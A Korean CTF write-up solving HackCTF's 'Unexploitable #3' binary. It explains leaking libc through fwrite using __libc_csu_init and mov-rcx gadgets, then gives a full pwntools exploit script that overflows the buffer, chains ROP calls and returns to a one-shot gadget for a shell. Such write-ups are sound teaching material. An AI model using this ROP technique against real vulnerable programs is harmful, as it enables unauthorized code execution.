[HackCTF]Unexploitable #3
이번에는 RTC 응용해서 fwrite로 익스할 수 있는 문제다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-10h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 0x24uLL, stdout);
fgets(&s, 256, stdin);
return 0;
}
메인에서는 리턴 주소 바꿀 수 있다. gift
함수를 잘 보면 이번에는 system gadget을 안줬다.
여기서 leak을 할 때 쓸만한 함수는 fwrite 하나밖에 없다. 이를 이용해서 leak을 해주면 된다.
근데 RTC는 인자를 rdi
, rsi
, rdx
이 3개밖에 못 넣어준다.
gift함수를 자세히보면 mov rcx, [rdi] ret
가젯이 존재했다. 이를 통해서 4번째 인자에 값을 넣어줄 수 있었다.
stdout도 존재하니까 이걸 mov rcx, [rdi] ret
를 이용해서 4번째 인자에 넣어주면 된다.
__libc_csu_init
영역을 이용해서 fwrite(fwrite_got,1,6,stdout)
이런식으로 가젯을 맞춰주면 fwrite을 통해 libc base를 구할 수 있고 메인으로 간다음에 라이브러리 맞춰주고 oneshot gadget구해서 리턴해주면 쉘을 흭득할 수 있다.
exploit.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./Unexploitable_3')
#p = process('./Unexploitable_3')
p = remote('ctf.j0n9hyun.xyz',3034)
libc = e.libc
csu_call = 0x0000000000400720
csu_pop = 0x000000000040073A
mov_ret = 0x0000000000400658 # 00658 mov rcx, [rdi]
stdout = 0x0000000000601050
prdi = 0x0000000000400743 # pop rdi ; ret
# rdi rsi rdx rcx
def chain(r12,edi,rsi,rdx,ret):
c = ''
c += p64(csu_pop)
c += p64(0)
c += p64(1)
c += p64(r12) # call
c += p64(rdx) # 3
c += p64(rsi) # 2
c += p64(edi) # 1
c += p64(ret)
return c
payload = '\x90'*0x10
payload += 'realsung'
payload += p64(prdi)
payload += p64(stdout)
payload += p64(mov_ret)
payload += chain(e.got['fwrite'],e.got['fwrite'],1,6,csu_call)
payload += chain(0,0,0,0,e.symbols['main'])
p.sendlineafter('!\n',payload)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['fwrite']
log.info('libc_base : ' + hex(libc_base))
payload2 = '\x90'*0x10
payload2 += 'realsung'
payload2 += p64(libc_base + 0x45216)
p.sendlineafter('!\n',payload2)
p.interactive()